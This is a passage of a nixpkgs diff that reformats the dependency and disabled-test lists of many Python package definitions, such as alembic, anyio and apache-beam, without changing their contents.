--- a/pkgs/development/python-modules/alembic/default.nix
+++ b/pkgs/development/python-modules/alembic/default.nix
@@ -34,16 +34,15 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      mako
-      sqlalchemy
-      typing-extensions
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [
-      importlib-resources
-      importlib-metadata
-    ];
+  dependencies = [
+    mako
+    sqlalchemy
+    typing-extensions
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [
+    importlib-resources
+    importlib-metadata
+  ];
 
   pythonImportsCheck = [ "alembic" ];
 
diff --git a/pkgs/development/python-modules/alpha-vantage/default.nix b/pkgs/development/python-modules/alpha-vantage/default.nix
index 72f1085a5007..8225ce7ca654 100644
--- a/pkgs/development/python-modules/alpha-vantage/default.nix
+++ b/pkgs/development/python-modules/alpha-vantage/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     aioresponses
     requests-mock
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # Starting with 3.0.0 most tests require an API key
   doCheck = false;
diff --git a/pkgs/development/python-modules/altair/default.nix b/pkgs/development/python-modules/altair/default.nix
index ae2750caf8cd..23332d850960 100644
--- a/pkgs/development/python-modules/altair/default.nix
+++ b/pkgs/development/python-modules/altair/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     packaging
     pandas
     toolz
-  ] ++ lib.optional (pythonOlder "3.14") typing-extensions;
+  ]
+  ++ lib.optional (pythonOlder "3.14") typing-extensions;
 
   nativeCheckInputs = [
     ipython
diff --git a/pkgs/development/python-modules/amaranth/default.nix b/pkgs/development/python-modules/amaranth/default.nix
index 22c22102815d..c891bb4e6bab 100644
--- a/pkgs/development/python-modules/amaranth/default.nix
+++ b/pkgs/development/python-modules/amaranth/default.nix
@@ -41,14 +41,13 @@ buildPythonPackage rec {
 
   build-system = [ pdm-backend ];
 
-  dependencies =
-    [
-      jschon
-      jinja2
-      pyvcd
-    ]
-    ++ lib.optional (pythonOlder "3.9") importlib-resources
-    ++ lib.optional (pythonOlder "3.8") importlib-metadata;
+  dependencies = [
+    jschon
+    jinja2
+    pyvcd
+  ]
+  ++ lib.optional (pythonOlder "3.9") importlib-resources
+  ++ lib.optional (pythonOlder "3.8") importlib-metadata;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/amqp/default.nix b/pkgs/development/python-modules/amqp/default.nix
index 2c9b4200c946..9b334e043f37 100644
--- a/pkgs/development/python-modules/amqp/default.nix
+++ b/pkgs/development/python-modules/amqp/default.nix
@@ -30,15 +30,14 @@ buildPythonPackage rec {
     pytest-rerunfailures
   ];
 
-  disabledTests =
-    [
-      # Requires network access
-      "test_rmq.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Requires network access but fails on macos only
-      "test_connection.py"
-    ];
+  disabledTests = [
+    # Requires network access
+    "test_rmq.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Requires network access but fails on macos only
+    "test_connection.py"
+  ];
 
   pythonImportsCheck = [ "amqp" ];
 
diff --git a/pkgs/development/python-modules/androguard/default.nix b/pkgs/development/python-modules/androguard/default.nix
index 088a7b8ea0fa..c1bf1890e2ba 100644
--- a/pkgs/development/python-modules/androguard/default.nix
+++ b/pkgs/development/python-modules/androguard/default.nix
@@ -51,31 +51,30 @@ buildPythonPackage rec {
 
   nativeBuildInputs = lib.optionals withGui [ qt5.wrapQtAppsHook ];
 
-  dependencies =
-    [
-      apkinspector
-      asn1crypto
-      click
-      colorama
-      cryptography
-      dataset
-      frida-python
-      ipython
-      loguru
-      lxml
-      matplotlib
-      mutf8
-      networkx
-      oscrypto
-      pydot
-      pygments
-      pyyaml
-    ]
-    ++ networkx.optional-dependencies.default
-    ++ networkx.optional-dependencies.extra
-    ++ lib.optionals withGui [
-      pyqt5
-    ];
+  dependencies = [
+    apkinspector
+    asn1crypto
+    click
+    colorama
+    cryptography
+    dataset
+    frida-python
+    ipython
+    loguru
+    lxml
+    matplotlib
+    mutf8
+    networkx
+    oscrypto
+    pydot
+    pygments
+    pyyaml
+  ]
+  ++ networkx.optional-dependencies.default
+  ++ networkx.optional-dependencies.extra
+  ++ lib.optionals withGui [
+    pyqt5
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/androidtv/default.nix b/pkgs/development/python-modules/androidtv/default.nix
index e9801d973ccf..374602ae64dc 100644
--- a/pkgs/development/python-modules/androidtv/default.nix
+++ b/pkgs/development/python-modules/androidtv/default.nix
@@ -39,13 +39,12 @@ buildPythonPackage rec {
     inherit (adb-shell.optional-dependencies) usb;
   };
 
-  nativeCheckInputs =
-    [
-      mock
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.async
-    ++ optional-dependencies.usb;
+  nativeCheckInputs = [
+    mock
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.async
+  ++ optional-dependencies.usb;
 
   disabledTests = [
     # Requires git but fails anyway
diff --git a/pkgs/development/python-modules/ansible-runner/default.nix b/pkgs/development/python-modules/ansible-runner/default.nix
index 9806d003ff43..26025537b369 100644
--- a/pkgs/development/python-modules/ansible-runner/default.nix
+++ b/pkgs/development/python-modules/ansible-runner/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pexpect
     python-daemon
     pyyaml
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   nativeCheckInputs = [
     ansible-core # required to place ansible CLI onto the PATH in tests
@@ -93,18 +94,17 @@ buildPythonPackage rec {
     "test_resolved_actions"
   ];
 
-  disabledTestPaths =
-    [
-      # These tests unset PATH and then run executables like `bash` (see https://github.com/ansible/ansible-runner/pull/918)
-      "test/integration/test_runner.py"
-      "test/unit/test_runner.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Integration tests on Darwin are not regularly passing in ansible-runner's own CI
-      "test/integration"
-      # These tests write to `/tmp` which is not writable on Darwin
-      "test/unit/config/test__base.py"
-    ];
+  disabledTestPaths = [
+    # These tests unset PATH and then run executables like `bash` (see https://github.com/ansible/ansible-runner/pull/918)
+    "test/integration/test_runner.py"
+    "test/unit/test_runner.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Integration tests on Darwin are not regularly passing in ansible-runner's own CI
+    "test/integration"
+    # These tests write to `/tmp` which is not writable on Darwin
+    "test/unit/config/test__base.py"
+  ];
 
   pythonImportsCheck = [ "ansible_runner" ];
 
diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix
index 090b58a2411d..ab334d4a10a5 100644
--- a/pkgs/development/python-modules/ansible/core.nix
+++ b/pkgs/development/python-modules/ansible/core.nix
@@ -87,7 +87,8 @@ buildPythonPackage rec {
     requests
     scp
     xmltodict
-  ] ++ lib.optionals windowsSupport [ pywinrm ];
+  ]
+  ++ lib.optionals windowsSupport [ pywinrm ];
 
   pythonRelaxDeps = [ "resolvelib" ];
 
diff --git a/pkgs/development/python-modules/anyio/default.nix b/pkgs/development/python-modules/anyio/default.nix
index 9a6fac31c3e8..389734d22497 100644
--- a/pkgs/development/python-modules/anyio/default.nix
+++ b/pkgs/development/python-modules/anyio/default.nix
@@ -47,17 +47,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools-scm ];
 
-  dependencies =
-    [
-      idna
-      sniffio
-    ]
-    ++ lib.optionals (pythonOlder "3.13") [
-      typing-extensions
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      exceptiongroup
-    ];
+  dependencies = [
+    idna
+    sniffio
+  ]
+  ++ lib.optionals (pythonOlder "3.13") [
+    typing-extensions
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    exceptiongroup
+  ];
 
   optional-dependencies = {
     trio = [ trio ];
@@ -73,7 +72,8 @@ buildPythonPackage rec {
     pytestCheckHook
     trustme
     uvloop
-  ] ++ optional-dependencies.trio;
+  ]
+  ++ optional-dependencies.trio;
 
   pytestFlagsArray = [
     "-W"
@@ -87,29 +87,28 @@ buildPythonPackage rec {
     export TMPDIR="/tmp"
   '';
 
-  disabledTests =
-    [
-      # TypeError: __subprocess_run() got an unexpected keyword argument 'umask'
-      "test_py39_arguments"
-      # AttributeError: 'module' object at __main__ has no attribute '__file__'
-      "test_nonexistent_main_module"
-      #  3 second timeout expired
-      "test_keyboardinterrupt_during_test"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # PermissionError: [Errno 1] Operation not permitted: '/dev/console'
-      "test_is_block_device"
+  disabledTests = [
+    # TypeError: __subprocess_run() got an unexpected keyword argument 'umask'
+    "test_py39_arguments"
+    # AttributeError: 'module' object at __main__ has no attribute '__file__'
+    "test_nonexistent_main_module"
+    #  3 second timeout expired
+    "test_keyboardinterrupt_during_test"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # PermissionError: [Errno 1] Operation not permitted: '/dev/console'
+    "test_is_block_device"
 
-      # These tests become flaky under heavy load
-      "test_asyncio_run_sync_called"
-      "test_handshake_fail"
-      "test_run_in_custom_limiter"
-      "test_cancel_from_shielded_scope"
-      "test_start_task_soon_cancel_later"
+    # These tests become flaky under heavy load
+    "test_asyncio_run_sync_called"
+    "test_handshake_fail"
+    "test_run_in_custom_limiter"
+    "test_cancel_from_shielded_scope"
+    "test_start_task_soon_cancel_later"
 
-      # AssertionError: assert 'wheel' == 'nixbld'
-      "test_group"
-    ];
+    # AssertionError: assert 'wheel' == 'nixbld'
+    "test_group"
+  ];
 
   disabledTestPaths = [
     # lots of DNS lookups
diff --git a/pkgs/development/python-modules/anywidget/default.nix b/pkgs/development/python-modules/anywidget/default.nix
index a41edf056e92..e79ac1a6e939 100644
--- a/pkgs/development/python-modules/anywidget/default.nix
+++ b/pkgs/development/python-modules/anywidget/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
     ipywidgets
     psygnal
     typing-extensions
-  ] ++ lib.optional (pythonOlder "3.8") importlib-metadata;
+  ]
+  ++ lib.optional (pythonOlder "3.8") importlib-metadata;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/apache-beam/default.nix b/pkgs/development/python-modules/apache-beam/default.nix
index 3bcf99a4abf5..fd45211e7d66 100644
--- a/pkgs/development/python-modules/apache-beam/default.nix
+++ b/pkgs/development/python-modules/apache-beam/default.nix
@@ -176,167 +176,166 @@ buildPythonPackage rec {
     cd $out/${python.sitePackages}
   '';
 
-  disabledTestPaths =
-    [
-      # Fails with
-      #     _______ ERROR collecting apache_beam/io/external/xlang_jdbcio_it_test.py _______
-      #     apache_beam/io/external/xlang_jdbcio_it_test.py:80: in <module>
-      #         class CrossLanguageJdbcIOTest(unittest.TestCase):
-      #     apache_beam/io/external/xlang_jdbcio_it_test.py:99: in CrossLanguageJdbcIOTest
-      #         container_init: Callable[[], Union[PostgresContainer, MySqlContainer]],
-      #     E   NameError: name 'MySqlContainer' is not defined
-      #
-      "apache_beam/io/external/xlang_jdbcio_it_test.py"
+  disabledTestPaths = [
+    # Fails with
+    #     _______ ERROR collecting apache_beam/io/external/xlang_jdbcio_it_test.py _______
+    #     apache_beam/io/external/xlang_jdbcio_it_test.py:80: in <module>
+    #         class CrossLanguageJdbcIOTest(unittest.TestCase):
+    #     apache_beam/io/external/xlang_jdbcio_it_test.py:99: in CrossLanguageJdbcIOTest
+    #         container_init: Callable[[], Union[PostgresContainer, MySqlContainer]],
+    #     E   NameError: name 'MySqlContainer' is not defined
+    #
+    "apache_beam/io/external/xlang_jdbcio_it_test.py"
 
-      # These tests depend on the availability of specific servers backends.
-      "apache_beam/runners/portability/flink_runner_test.py"
-      "apache_beam/runners/portability/samza_runner_test.py"
-      "apache_beam/runners/portability/spark_runner_test.py"
+    # These tests depend on the availability of specific servers backends.
+    "apache_beam/runners/portability/flink_runner_test.py"
+    "apache_beam/runners/portability/samza_runner_test.py"
+    "apache_beam/runners/portability/spark_runner_test.py"
 
-      # Fails starting from dill 0.3.6 because it tries to pickle pytest globals:
-      # https://github.com/uqfoundation/dill/issues/482#issuecomment-1139017499.
-      "apache_beam/transforms/window_test.py"
+    # Fails starting from dill 0.3.6 because it tries to pickle pytest globals:
+    # https://github.com/uqfoundation/dill/issues/482#issuecomment-1139017499.
+    "apache_beam/transforms/window_test.py"
 
-      # See https://github.com/apache/beam/issues/25390.
-      "apache_beam/coders/slow_coders_test.py"
-      "apache_beam/dataframe/pandas_doctests_test.py"
-      "apache_beam/typehints/typed_pipeline_test.py"
-      "apache_beam/coders/fast_coders_test.py"
-      "apache_beam/dataframe/schemas_test.py"
+    # See https://github.com/apache/beam/issues/25390.
+    "apache_beam/coders/slow_coders_test.py"
+    "apache_beam/dataframe/pandas_doctests_test.py"
+    "apache_beam/typehints/typed_pipeline_test.py"
+    "apache_beam/coders/fast_coders_test.py"
+    "apache_beam/dataframe/schemas_test.py"
 
-      # Fails with TypeError: cannot pickle 'EncodedFile' instances
-      # Upstream issue https://github.com/apache/beam/issues/33889
-      "apache_beam/options/pipeline_options_validator_test.py"
-      "apache_beam/yaml/main_test.py"
-      "apache_beam/yaml/programming_guide_test.py"
-      "apache_beam/yaml/readme_test.py"
-      "apache_beam/yaml/yaml_combine_test.py"
-      "apache_beam/yaml/yaml_enrichment_test.py"
-      "apache_beam/yaml/yaml_io_test.py"
-      "apache_beam/yaml/yaml_join_test.py"
-      "apache_beam/yaml/yaml_mapping_test.py"
-      "apache_beam/yaml/yaml_ml_test.py"
-      "apache_beam/yaml/yaml_provider_unit_test.py"
+    # Fails with TypeError: cannot pickle 'EncodedFile' instances
+    # Upstream issue https://github.com/apache/beam/issues/33889
+    "apache_beam/options/pipeline_options_validator_test.py"
+    "apache_beam/yaml/main_test.py"
+    "apache_beam/yaml/programming_guide_test.py"
+    "apache_beam/yaml/readme_test.py"
+    "apache_beam/yaml/yaml_combine_test.py"
+    "apache_beam/yaml/yaml_enrichment_test.py"
+    "apache_beam/yaml/yaml_io_test.py"
+    "apache_beam/yaml/yaml_join_test.py"
+    "apache_beam/yaml/yaml_mapping_test.py"
+    "apache_beam/yaml/yaml_ml_test.py"
+    "apache_beam/yaml/yaml_provider_unit_test.py"
 
-      # FIXME All those fails due to a single- AttributeError: 'MaybeReshuffle' object has no attribute 'side_inputs'
-      # Upstream issue https://github.com/apache/beam/issues/33854
-      "apache_beam/coders/row_coder_test.py"
-      "apache_beam/examples/avro_nyc_trips_test.py"
-      "apache_beam/examples/complete/autocomplete_test.py"
-      "apache_beam/examples/complete/estimate_pi_test.py"
-      "apache_beam/examples/complete/game/game_stats_test.py"
-      "apache_beam/examples/complete/game/hourly_team_score_test.py"
-      "apache_beam/examples/complete/game/leader_board_test.py"
-      "apache_beam/examples/complete/game/user_score_test.py"
-      "apache_beam/examples/complete/tfidf_test.py"
-      "apache_beam/examples/complete/top_wikipedia_sessions_test.py"
-      "apache_beam/examples/cookbook/bigquery_side_input_test.py"
-      "apache_beam/examples/cookbook/bigquery_tornadoes_test.py"
-      "apache_beam/examples/cookbook/coders_test.py"
-      "apache_beam/examples/cookbook/combiners_test.py"
-      "apache_beam/examples/cookbook/custom_ptransform_test.py"
-      "apache_beam/examples/cookbook/filters_test.py"
-      "apache_beam/examples/matrix_power_test.py"
-      "apache_beam/examples/snippets/snippets_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/approximatequantiles_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/approximateunique_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/batchelements_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/cogroupbykey_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/combineglobally_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/combineperkey_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/combinevalues_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/count_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/distinct_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/groupbykey_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/groupintobatches_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/latest_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/max_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/mean_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/min_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/sample_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/sum_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/tolist_test.py"
-      "apache_beam/examples/snippets/transforms/aggregation/top_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/filter_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/flatmap_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/keys_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/kvswap_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/map_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/pardo_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/partition_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/regex_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/tostring_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/values_test.py"
-      "apache_beam/examples/snippets/transforms/elementwise/withtimestamps_test.py"
-      "apache_beam/examples/snippets/transforms/other/create_test.py"
-      "apache_beam/examples/snippets/transforms/other/flatten_test.py"
-      "apache_beam/examples/snippets/transforms/other/window_test.py"
-      "apache_beam/examples/snippets/util_test.py"
-      "apache_beam/io/avroio_test.py"
-      "apache_beam/io/concat_source_test.py"
-      "apache_beam/io/filebasedsink_test.py"
-      "apache_beam/io/filebasedsource_test.py"
-      "apache_beam/io/fileio_test.py"
-      "apache_beam/io/mongodbio_test.py"
-      "apache_beam/io/parquetio_test.py"
-      "apache_beam/io/sources_test.py"
-      "apache_beam/io/textio_test.py"
-      "apache_beam/io/tfrecordio_test.py"
-      "apache_beam/metrics/metric_test.py"
-      "apache_beam/ml/inference/base_test.py"
-      "apache_beam/ml/inference/sklearn_inference_test.py"
-      "apache_beam/ml/inference/utils_test.py"
-      "apache_beam/ml/rag/chunking/base_test.py"
-      "apache_beam/ml/rag/ingestion/base_test.py"
-      "apache_beam/pipeline_test.py"
-      "apache_beam/runners/direct/direct_runner_test.py"
-      "apache_beam/runners/direct/sdf_direct_runner_test.py"
-      "apache_beam/runners/interactive/interactive_beam_test.py"
-      "apache_beam/runners/interactive/interactive_runner_test.py"
-      "apache_beam/runners/interactive/non_interactive_runner_test.py"
-      "apache_beam/runners/interactive/recording_manager_test.py"
-      "apache_beam/runners/portability/fn_api_runner/translations_test.py"
-      "apache_beam/runners/portability/fn_api_runner/trigger_manager_test.py"
-      "apache_beam/runners/portability/stager_test.py"
-      "apache_beam/testing/synthetic_pipeline_test.py"
-      "apache_beam/testing/test_stream_test.py"
-      "apache_beam/testing/util_test.py"
-      "apache_beam/transforms/combiners_test.py"
-      "apache_beam/transforms/core_test.py"
-      "apache_beam/transforms/create_test.py"
-      "apache_beam/transforms/deduplicate_test.py"
-      "apache_beam/transforms/periodicsequence_test.py"
-      "apache_beam/transforms/ptransform_test.py"
-      "apache_beam/transforms/sideinputs_test.py"
-      "apache_beam/transforms/stats_test.py"
-      "apache_beam/transforms/transforms_keyword_only_args_test.py"
-      "apache_beam/transforms/trigger_test.py"
-      "apache_beam/transforms/userstate_test.py"
-      "apache_beam/transforms/util_test.py"
-      "apache_beam/transforms/write_ptransform_test.py"
+    # FIXME All those fails due to a single- AttributeError: 'MaybeReshuffle' object has no attribute 'side_inputs'
+    # Upstream issue https://github.com/apache/beam/issues/33854
+    "apache_beam/coders/row_coder_test.py"
+    "apache_beam/examples/avro_nyc_trips_test.py"
+    "apache_beam/examples/complete/autocomplete_test.py"
+    "apache_beam/examples/complete/estimate_pi_test.py"
+    "apache_beam/examples/complete/game/game_stats_test.py"
+    "apache_beam/examples/complete/game/hourly_team_score_test.py"
+    "apache_beam/examples/complete/game/leader_board_test.py"
+    "apache_beam/examples/complete/game/user_score_test.py"
+    "apache_beam/examples/complete/tfidf_test.py"
+    "apache_beam/examples/complete/top_wikipedia_sessions_test.py"
+    "apache_beam/examples/cookbook/bigquery_side_input_test.py"
+    "apache_beam/examples/cookbook/bigquery_tornadoes_test.py"
+    "apache_beam/examples/cookbook/coders_test.py"
+    "apache_beam/examples/cookbook/combiners_test.py"
+    "apache_beam/examples/cookbook/custom_ptransform_test.py"
+    "apache_beam/examples/cookbook/filters_test.py"
+    "apache_beam/examples/matrix_power_test.py"
+    "apache_beam/examples/snippets/snippets_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/approximatequantiles_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/approximateunique_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/batchelements_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/cogroupbykey_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/combineglobally_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/combineperkey_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/combinevalues_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/count_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/distinct_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/groupbykey_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/groupintobatches_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/latest_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/max_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/mean_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/min_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/sample_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/sum_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/tolist_test.py"
+    "apache_beam/examples/snippets/transforms/aggregation/top_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/filter_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/flatmap_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/keys_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/kvswap_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/map_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/pardo_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/partition_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/regex_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/tostring_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/values_test.py"
+    "apache_beam/examples/snippets/transforms/elementwise/withtimestamps_test.py"
+    "apache_beam/examples/snippets/transforms/other/create_test.py"
+    "apache_beam/examples/snippets/transforms/other/flatten_test.py"
+    "apache_beam/examples/snippets/transforms/other/window_test.py"
+    "apache_beam/examples/snippets/util_test.py"
+    "apache_beam/io/avroio_test.py"
+    "apache_beam/io/concat_source_test.py"
+    "apache_beam/io/filebasedsink_test.py"
+    "apache_beam/io/filebasedsource_test.py"
+    "apache_beam/io/fileio_test.py"
+    "apache_beam/io/mongodbio_test.py"
+    "apache_beam/io/parquetio_test.py"
+    "apache_beam/io/sources_test.py"
+    "apache_beam/io/textio_test.py"
+    "apache_beam/io/tfrecordio_test.py"
+    "apache_beam/metrics/metric_test.py"
+    "apache_beam/ml/inference/base_test.py"
+    "apache_beam/ml/inference/sklearn_inference_test.py"
+    "apache_beam/ml/inference/utils_test.py"
+    "apache_beam/ml/rag/chunking/base_test.py"
+    "apache_beam/ml/rag/ingestion/base_test.py"
+    "apache_beam/pipeline_test.py"
+    "apache_beam/runners/direct/direct_runner_test.py"
+    "apache_beam/runners/direct/sdf_direct_runner_test.py"
+    "apache_beam/runners/interactive/interactive_beam_test.py"
+    "apache_beam/runners/interactive/interactive_runner_test.py"
+    "apache_beam/runners/interactive/non_interactive_runner_test.py"
+    "apache_beam/runners/interactive/recording_manager_test.py"
+    "apache_beam/runners/portability/fn_api_runner/translations_test.py"
+    "apache_beam/runners/portability/fn_api_runner/trigger_manager_test.py"
+    "apache_beam/runners/portability/stager_test.py"
+    "apache_beam/testing/synthetic_pipeline_test.py"
+    "apache_beam/testing/test_stream_test.py"
+    "apache_beam/testing/util_test.py"
+    "apache_beam/transforms/combiners_test.py"
+    "apache_beam/transforms/core_test.py"
+    "apache_beam/transforms/create_test.py"
+    "apache_beam/transforms/deduplicate_test.py"
+    "apache_beam/transforms/periodicsequence_test.py"
+    "apache_beam/transforms/ptransform_test.py"
+    "apache_beam/transforms/sideinputs_test.py"
+    "apache_beam/transforms/stats_test.py"
+    "apache_beam/transforms/transforms_keyword_only_args_test.py"
+    "apache_beam/transforms/trigger_test.py"
+    "apache_beam/transforms/userstate_test.py"
+    "apache_beam/transforms/util_test.py"
+    "apache_beam/transforms/write_ptransform_test.py"
 
-      # FIXME AttributeError: 'Namespace' object has no attribute 'test_pipeline_options'
-      # Upstream issue https://github.com/apache/beam/issues/33853
-      "apache_beam/runners/portability/prism_runner_test.py"
+    # FIXME AttributeError: 'Namespace' object has no attribute 'test_pipeline_options'
+    # Upstream issue https://github.com/apache/beam/issues/33853
+    "apache_beam/runners/portability/prism_runner_test.py"
 
-      # FIXME ValueError: Unable to run pipeline with requirement: unsupported_requirement
-      # Upstream issuehttps://github.com/apache/beam/issues/33853
-      "apache_beam/yaml/yaml_transform_scope_test.py"
-      "apache_beam/yaml/yaml_transform_test.py"
-      "apache_beam/yaml/yaml_transform_unit_test.py"
-      "apache_beam/yaml/yaml_udf_test.py"
-      "apache_beam/dataframe/frames_test.py"
+    # FIXME ValueError: Unable to run pipeline with requirement: unsupported_requirement
+    # Upstream issuehttps://github.com/apache/beam/issues/33853
+    "apache_beam/yaml/yaml_transform_scope_test.py"
+    "apache_beam/yaml/yaml_transform_test.py"
+    "apache_beam/yaml/yaml_transform_unit_test.py"
+    "apache_beam/yaml/yaml_udf_test.py"
+    "apache_beam/dataframe/frames_test.py"
 
-      # FIXME Those tests do not terminate due to a grpc error (threading issue)
-      # grpc_status:14, grpc_message:"Cancelling all calls"}"
-      # Upstream issue https://github.com/apache/beam/issues/33851
-      "apache_beam/runners/portability/portable_runner_test.py"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # > instruction = ofs_table[pc]
-      # E KeyError: 18
-      "apache_beam/typehints/trivial_inference_test.py"
-    ];
+    # FIXME Those tests do not terminate due to a grpc error (threading issue)
+    # grpc_status:14, grpc_message:"Cancelling all calls"}"
+    # Upstream issue https://github.com/apache/beam/issues/33851
+    "apache_beam/runners/portability/portable_runner_test.py"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # > instruction = ofs_table[pc]
+    # E KeyError: 18
+    "apache_beam/typehints/trivial_inference_test.py"
+  ];
 
   disabledTests =
     lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/development/python-modules/apischema/default.nix b/pkgs/development/python-modules/apischema/default.nix
index 7ae1dcacd131..e30e9de5c916 100644
--- a/pkgs/development/python-modules/apischema/default.nix
+++ b/pkgs/development/python-modules/apischema/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "apischema" ];
 
diff --git a/pkgs/development/python-modules/apispec/default.nix b/pkgs/development/python-modules/apispec/default.nix
index f9f81922e766..d8dc206949f5 100644
--- a/pkgs/development/python-modules/apispec/default.nix
+++ b/pkgs/development/python-modules/apispec/default.nix
@@ -35,13 +35,15 @@ buildPythonPackage rec {
     validation = [
       openapi-spec-validator
       prance
-    ] ++ prance.optional-dependencies.osv;
+    ]
+    ++ prance.optional-dependencies.osv;
   };
 
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "apispec" ];
 
diff --git a/pkgs/development/python-modules/apple-weatherkit/default.nix b/pkgs/development/python-modules/apple-weatherkit/default.nix
index b934c5bb7b9a..a905a17654d7 100644
--- a/pkgs/development/python-modules/apple-weatherkit/default.nix
+++ b/pkgs/development/python-modules/apple-weatherkit/default.nix
@@ -29,7 +29,8 @@ buildPythonPackage rec {
     aiohttp
     aiohttp-retry
     pyjwt
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix b/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix
index ae2808a5ad90..4733bc54fe4a 100644
--- a/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix
+++ b/pkgs/development/python-modules/appthreat-vulnerability-db/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     rich
     semver
     tabulate
-  ] ++ httpx.optional-dependencies.http2;
+  ]
+  ++ httpx.optional-dependencies.http2;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/apscheduler/default.nix b/pkgs/development/python-modules/apscheduler/default.nix
index e221cf1ff7a9..ade71286799d 100644
--- a/pkgs/development/python-modules/apscheduler/default.nix
+++ b/pkgs/development/python-modules/apscheduler/default.nix
